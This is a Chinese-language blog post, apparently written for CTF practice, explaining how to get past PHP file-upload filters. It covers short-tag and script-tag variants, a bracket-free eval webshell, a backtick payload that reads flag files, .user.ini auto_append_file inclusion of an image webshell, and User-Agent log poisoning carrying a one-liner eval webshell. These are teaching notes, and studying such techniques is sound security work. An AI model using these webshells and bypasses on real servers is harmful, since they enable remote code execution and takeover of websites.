本文已参与「新人创作礼」活动,一起开启掘金创作之路。
对于文件上传基本题目我们应该都清楚了,今天给大家带来一下扩展知识
文件上传思路
知识点补充
内容绕过:
对文件内容进行了过滤
<?php ?>
短标签
<? echo '123';?>
前提是开启配置参数short_open_tags=on
<?=(表达式)?> 等价于 <?php echo (表达式)?>
shell.png文件内容:<?=(`nl ../f*`)?>
<% echo '123';%>
前提是开启配置参数asp_tags=on,经过测试发现7.0及以上修改完之后也不能使用,而是报500错误,但是7.0以下版本在修改完配置后就可以使用了。
<script language=”php”>echo '123'; </script>
不需要修改参数开关,但是只能在7.0以下可用
绕过[]
发现 [ 被过滤了, 而我们传入的图片马中一句话木马接受参数 $_GET[] 需要用到
第一种方法就是直接执行命令
<?=(`nl ../f*`)?>
第二种方法
用{}来代替[]
图片马内容<?=eval($_POST{1});?>
6
.绕过{}和;
在上题基础上文件内容又添加了过滤了 {} 和 ; 分号
直接执行命令
<?=(`nl ../f*`)?>
7
.添加文件头
user.ini解析
传上去了php后缀文件,但是发现事情并没有想象的那么简单,因为访问shell.pHp却是直接下载了文件,说明文件并没有解析
这时候可以考虑.user.ini
简单来讲
如果你目录下有.user.ini会先去识别里面的配置,但是只有 PHP_INI_PERDIR 和 PHP_INI_USER 模式可以
找到这两个auto_append_file和auto_prepend_file,作用: 一个相当于在每个php文件尾加上
include(“xxxx”) 一个相当于文件头加上 include(“xxx”) 其中xxx就是 auto_append_file的值。
因为.user.ini只对他同一目录下的文件起作用,也就是说,只有他同目录下有php文件才可以。
演示一下include
利用方法
先上传一张文件内容是一句话木马的图片
再上传包含设置的 user.ini 文件
auto_append_file="/var/www/html/upload/shell.png"
user.ini包含日志文件
前端限制上传为zip文件,但是zip也传不上去,看了wp。
先上传一个zip,然后抓包,改Content-Type为image/png,可以传php等格式,但是发现文件内容过滤了 <> php $
发现可以
上传 .user.ini 文件
进行日志文件包含,ua头就是一句话木马
<?php @eval($_POST['shell']);?>
// 注意shell字符串单引号包裹,双引号报错